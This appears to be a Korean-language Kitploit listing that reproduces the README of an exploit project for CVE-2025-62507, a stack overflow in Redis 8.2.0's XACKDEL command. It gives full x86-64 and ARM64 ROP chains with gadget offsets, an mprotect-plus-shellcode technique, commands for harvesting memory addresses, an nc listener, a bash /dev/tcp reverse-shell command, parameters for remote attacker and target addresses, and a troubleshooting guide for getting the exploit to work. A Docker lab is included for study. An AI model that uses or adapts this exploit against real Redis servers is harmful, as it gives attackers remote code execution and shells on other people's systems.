Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
redis-cve-2025-62507 — CVE-2025-62507에 대한 익스플로잇 스크립트로, Redis 8.2.0의 스택 버퍼 오버플로 취약점입니다. x86-64 및 ARM64 ROP 체인 익스플로잇을 제공하며, 리버스 셸을 위한 셸코드 생성, GDB 디버깅 지원 및 Docker 기반 취약 환경을 포함합니다. | Kitploit
도구/GitHubGitHub/gartonchan/redis-cve-2025-62507
Container SecurityVulnerability AnalysisExploitationReverse EngineeringShellcodeDebuggersLearning & EducationPayload DevelopmentBinary Exploitation
GitHubgartonchan/redis-cve-2025-62507

redis-cve-2025-62507

CVE-2025-62507에 대한 익스플로잇 스크립트로, Redis 8.2.0의 스택 버퍼 오버플로 취약점입니다. x86-64 및 ARM64 ROP 체인 익스플로잇을 제공하며, 리버스 셸을 위한 셸코드 생성, GDB 디버깅 지원 및 Docker 기반 취약 환경을 포함합니다.

33개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

익스플로잇 스크립트 — CVE-2025-62507

디렉토리 구조

root@kitploit:~
scripts/
├── exploit_x86.py          # x86-64 ROP exploit
├── exploit_arm64.py        # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh     # GDB 디버깅 보조 스크립트

취약점 요약

항목설명
CVECVE-2025-62507
취약점 유형스택 버퍼 오버플로우 (Stack Buffer Overflow)
영향받는 구성 요소Redis 8.2.0 xackdelCommand 함수
트리거 방식XACKDEL 명령어에 52개 이상의 streamID 전달
이용 기술ROP 체인 → mprotect로 스택 실행 권한 해제 → 셸코드 리버스 셸
의존성Python 3 (순수 표준 라이브러리, 추가 설치 불필요)

전제 조건

  1. 대상 환경: 실행 중인 Redis 8.2.0 (취약한 버전) 도커 컨테이너 또는 호스트
  2. 리스닝 터미널: 공격자는 사전에 nc -lvnp 4444를 실행하여 리버스 셸 대기
  3. 주소 획득 권한: 대상 프로세스의 /proc/<PID>/maps를 읽을 수 있어야 함 (root 권한)
  4. Python 3: 두 익스플로잇 스크립트는 표준 라이브러리만 사용 (socket, struct, time, sys)

빠른 시작

1. 취약한 Redis 컨테이너 시작

root@kitploit:~
# 프로젝트 루트 디렉토리에서 실행
docker compose -f docker-compose-vulnerable.yml up -d

# 컨테이너 실행 확인
docker ps | grep redis-cve-2025-62507

2. 주요 메모리 주소 획득

root@kitploit:~
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# x86-64 주소 획득
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)

echo "REDIS_BASE=$REDIS_BASE  LIBC_BASE=$LIBC_BASE  STACK_ADDR=$STACK_ADDR"

참고: 컨테이너를 재시작할 때마다 주소가 변경됩니다(ASLR). 다시 획득해야 합니다.

3. 리버스 셸 리스너 시작

root@kitploit:~
# 호스트에서 다른 터미널 열기
nc -lvnp 4444

4. 익스플로잇 실행

root@kitploit:~
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR

# ARM64 (Docker QEMU 고정 주소, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]

exploit_x86.py — x86-64 ROP 익스플로잇

사용법

root@kitploit:~
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>

매개변수 설명

ROP 체인 구조

root@kitploit:~
52개의 패딩 ID (1-1)
  │
  ▼
ID#53  overflow ──→ pop rdi; ret     (redis + 0x82327)
ID#54             ──→ pop rsi; ret     (redis + 0x86416)
ID#55             ──→ pop rdx; ret     (redis + 0xba1e2)
ID#56             ──→ mprotect()       (libc  + 0x1019e0)
ID#57             ──→ call rsp         (redis + 0x9486d)
ID#58+            ──→ shellcode ──→ system("/bin/bash -c '...'")

Gadget 오프셋 (redis-server-8.2.0)

사용자 정의 리버스 셸 주소

reverse_shell_cmd 변수는 스크립트 149번째 줄에 정의되어 있으며, 기본값은 다음과 같습니다.

root@kitploit:~
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

수정 방법: exploit_x86.py를 편집하여 reverse_shell_cmd 줄을 찾아 IP와 포트를 바꿉니다.

포트 수정: /dev/tcp/<IP>/4444의 4444를 실제 리스닝 포트로 바꿉니다.

stack_page는 stack_addr 매개변수를 기반으로 동적 계산됩니다: (stack_addr + 0x1000) & ~0xFFF, mprotect 윈도우가 셸코드가 위치한 스택 영역을 포함하도록 합니다. 스택 레이아웃이 비정상적이면 함께 조정해야 합니다.


exploit_arm64.py — ARM64 ROP 익스플로잇

사용법

root@kitploit:~
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]

매개변수 설명

ARM64 참고: stack_addr은 xackdelCommand 진입 시의 SP 값입니다 ([stack] 세그먼트 시작 주소가 아닙니다!). static_ids[0] = stack_addr - 0x310, call()의 saved x30은 stack_addr + 8에 위치합니다 (즉, static_ids[49].seq).

ROP 체인 구조

root@kitploit:~
49개의 패딩 ID (1-1)
  │
  ▼
ID#49-58  call() 종료 프레임 (10 IDs) — call()의 저장된 레지스터와 지역 변수 덮어쓰기
  │  #49: saved x29 (dummy) + x30 (G5)
  │  #50: saved x19/x20, #51: saved x21(=0)/x22
  │  #52: x23/x24, #53: x25/x26, #54: x27/x28
  │  #55-58: 지역 변수 (0으로 설정)
  │
  ▼  call() ret → SP = stack_addr + 0xa0
  │
ID#59-61  Step 1: G5              (redis + 0x1a4d40)  x0=writable,    → G_SET_X2_7
ID#62-65  Step 2: G_SET_X2_7      (redis + 0x1d7a84)  w2=7,           → LDR_X1_SIDELOAD
ID#66-67  Step 3: LDR_X1_SIDELOAD (libc  + 0x34ab4)   x1=0x1000,      → G5
ID#68-70  Step 4: G5              (redis + 0x1a4d40)  x19=mprotect,   → MOV_X3_X19
ID#71-93  Step 5: MOV_X3_X19      (redis + 0x2948b0)  x3=mprotect,    → LDR_X0_CLEAN
ID#94-95  Step 6: LDR_X0_CLEAN    (libc  + 0x6ae40)   x0=stack_page,  → BLR_X3
ID#96-98  Step 7: BLR_X3          (redis + 0x92bc4)   call mprotect   → shellcode
ID#99+    shellcode — system("/bin/bash -c 'reverse_shell_cmd'")

중요: call()의 종료(epilogue)는 ret 이전에 스택에서 x19-x28을 복원하고 여러 지역 변수를 읽습니다. ID#49-58은 안전한 값으로 채워야 하며, 그렇지 않으면 epilogue 실행 중에 충돌합니다. ROP 체인은 ID#59 (call() ret 이후의 SP 위치)부터 시작합니다.

Gadget 오프셋 (redis-server-8.2.0-arm64)

Gadget 오프셋 (libc.so.6-arm64, Docker 컨테이너 내부)

참고: LDR_X1_SIDELOAD에는 mov x0, x1 부작용이 있어 실행 후 x0이 x1로 덮어쓰여집니다! 이후에 G5 또는 LDR_X0_CLEAN을 사용하여 x0을 다시 설정해야 합니다.

사용자 정의 리버스 셸 주소

reverse_shell_cmd는 build_exploit_arm64() 함수에서 rev_shell_host와 rev_shell_port 매개변수를 기반으로 동적으로 구성됩니다.

root@kitploit:~
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"

권장 방법: 명령줄 매개변수로 리버스 셸 주소 지정:

root@kitploit:~
# 기본값: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0

# 사용자 정의 리버스 셸 주소 및 포트:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
#                                                                    ^^^^^^^^ ^^^^ ^^^^^^^^^^
#                                                                    rev_host rev_port target

직접 수정: exploit_arm64.py를 편집하여 exploit() 함수의 기본 매개변수 값을 수정합니다.


GDB 디버깅

gdb_with_symbols.sh 사용

root@kitploit:~
# Redis PID 획득
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# GDB 실행 및 자동 중단점 설정
./scripts/gdb_with_symbols.sh $REDIS_PID

스크립트가 자동으로:

  1. binaries/redis-server-8.2.0 심볼 테이블 로드
  2. xackdelCommand에 중단점 설정
  3. mprotect에 중단점 설정
  4. system에 중단점 설정

주요 중단점 위치

root@kitploit:~
# xackdelCommand 진입 — 정상 스택 레이아웃 관찰
break xackdelCommand

# 53번째 streamID 기록 후 — 반환 주소 덮어쓰기 확인
# (루프 내부에 조건부 중단점 설정)

# mprotect 호출 전 — 인자 rdi/rsi/rdx 검증
break mprotect

# system 호출 전 — rdi가 명령어 문자열을 가리키는지 확인
break system

익스플로잇 주요 단계 검증

root@kitploit:~
# 1. xackdelCommand 진입 후 static_ids 배열 위치 찾기
(gdb) x/10gx $rbp - 0x340      # x86-64
(gdb) x/10gx $sp                # ARM64

# 2. mprotect 중단점 트리거 시 인자 검증
(gdb) info registers rdi rsi rdx   # x86-64
(gdb) info registers x0 x1 x2      # ARM64

# 예상: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7

# 3. mprotect 반환 후 RAX/X0 확인 (=0 성공)
(gdb) finish
(gdb) info registers rax           # x86-64
(gdb) info registers x0            # ARM64

# 4. 셸코드 실행 관찰
(gdb) x/20i $rsp                   # x86-64: call rsp 후 셸코드
(gdb) x/20i $x30                   # ARM64: 점프 전 반환 주소

문제 해결


환경 정리

root@kitploit:~
# 컨테이너 중지 및 삭제
docker compose -f docker-compose-vulnerable.yml down

파일 참조

도구 다운로드
매개변수의미획득 방법예시 값
redis_baseredis-server ELF 베이스 주소/proc/PID/maps의 redis-server 첫 번째 세그먼트 시작 주소0x555555554000
libc_baselibc.so.6 베이스 주소/proc/PID/maps의 libc.so 첫 번째 세그먼트 시작 주소0x7ffff75b3000
stack_addr스레드 스택 세그먼트 시작 주소/proc/PID/maps의 [stack] 세그먼트 시작 주소0x7ffffffde000
Gadget오프셋설명
pop rdi; ret0x82327mprotect 첫 번째 매개변수(addr) 설정
pop rsi; ret0x86416mprotect 두 번째 매개변수(len) 설정
pop rdx; ret0xba1e2mprotect 세 번째 매개변수(prot) 설정
call rsp0x9486d스택 위의 셸코드로 점프
mprotect (libc)0x1019e0스택 페이지를 RWX로 해제
system (libc)0x4c490리버스 셸 명령어 실행
시나리오IP설명
Docker host 네트워크 (기본값)127.0.0.1컨테이너와 호스트가 네트워크 스택을 공유, 127.0.0.1은 호스트
Docker bridge 네트워크172.17.0.1기본 브리지 게이트웨이, 호스트를 가리킴
원격 공격<공격자 공인 IP>대상이 공격자의 해당 포트에 라우팅 가능해야 함
매개변수의미획득 방법예시 값
redis_baseredis-server-8.2.0-arm64 ELF 베이스 주소/proc/PID/maps의 redis-server 첫 번째 세그먼트 시작 주소0xaaaaaaaa0000
libc_baselibc.so.6-arm64 베이스 주소/proc/PID/maps의 libc.so 첫 번째 세그먼트 시작 주소0xfffff7630000
stack_addrxackdelCommand 진입 시 SP 값 (GDB 분석 결과)GDB 중단점에서 xackdelCommand 진입 SP 관찰0xfffffffff7e0
rev_host(선택 사항) 리버스 셸 공격자 IP—192.168.1.1
rev_port(선택 사항) 리버스 셸 리스닝 포트—4444
target(선택 사항) 대상 Redis IP—192.168.1.129
Gadget오프셋기능스택 소비
G5 (ldp x19,x20 + ldr x0)0x1a4d40스택에서 x19, x0 로드0x30 (3 IDs)
G_SET_X2_70x1d7a84w2=7 설정, w1=-1 (부작용)0x40 (4 IDs)
MOV_X3_X190x2948b0x3 = x19 (mprotect), x0 덮어쓰기0x170 (23 IDs)
BLR_X30x92bc4blr x3; mprotect 호출0x30 (3 IDs)
Gadget오프셋기능스택 소비
LDR_X1_SIDELOAD0x34ab4ldr x1,[sp,#0x18]; mov x0,x1 (부작용!)0x20 (2 IDs)
LDR_X0_CLEAN0x6ae40ldr x0,[sp,#0x18]; 부작용 없음0x20 (2 IDs)
mprotect0xe3ac0메모리 권한 변경-
system0x49c24셸 명령어 실행-
시나리오IP설명
Docker host 네트워크127.0.0.1컨테이너와 호스트가 네트워크 스택을 공유, 127.0.0.1은 호스트
Docker bridge 네트워크172.17.0.1기본 브리지 게이트웨이, 호스트를 가리킴
QEMU 가상 머신192.168.1.1QEMU 네트워크에서 호스트의 주소
원격 공격<공격자 공인 IP>대상이 공격자의 해당 포트에 라우팅 가능해야 함
현상가능한 원인해결 방법
ConnectionRefusedErrorRedis가 실행 중이 아니거나 포트가 잘못됨docker ps로 컨테이너 상태 확인, 포트 6379 확인
Redis가 충돌하지 않고 PONG 응답패딩 양이 부족하여 반환 주소가 덮어쓰여지지 않음올바른 패딩 ID 수(x86: 52, ARM64: 49)를 사용했는지 확인, 바이너리 버전 일치 확인
Redis 충돌하지만 nc 연결 없음주소 계산 오류/proc/PID/maps를 다시 획득하고 gadget 오프셋이 해당 바이너리와 일치하는지 확인
streamParseStrictIDOrReply 파싱 실패streamID 형식 오류ms-seq 형식(부호 없는 정수)을 사용하고, 음수를 사용하여 이중 --가 발생하지 않도록 함
mprotect가 0이 아닌 값 반환스택 주소가 페이지 정렬되지 않았거나 범위가 유효하지 않음stack_page가 0x1000으로 정렬되었는지 확인
ARM64: str w2, [x0] 충돌G_SET_X2_7의 x0이 쓰기 가능한 메모리를 가리키지 않음writable_addr이 매핑된 스택 영역을 가리키는지 확인
nc 연결이 반복적으로 끊김셸코드의 IP:Port가 올바르지 않음스크립트의 reverse_shell_cmd를 수정하고 IP를 공격자가 접근 가능한 주소로 변경
파일설명
scripts/exploit_x86.pyx86-64 최종 RCE 익스플로잇
scripts/exploit_arm64.pyARM64 (AArch64) RCE 익스플로잇
scripts/gdb_with_symbols.shGDB 심볼 로드 및 중단점 보조 스크립트
docker-compose-vulnerable.yml취약한 Redis 8.2.0 컨테이너 오케스트레이션
binaries/redis-server-8.2.0x86-64 Redis ELF (심볼 테이블 포함)
binaries/redis-server-8.2.0-arm64ARM64 Redis ELF (심볼 테이블 포함)
binaries/libc.so.6x86-64 libc
binaries/libc.so.6-arm64ARM64 libc
docs/X86_CVE-2025-62507_EXPLOITATION_DETAIL.mdx86-64 취약점 이용 전체 기술 상세
docs/ARM64_GADGET_CATALOG.mdARM64 ROP gadget 전체 카탈로그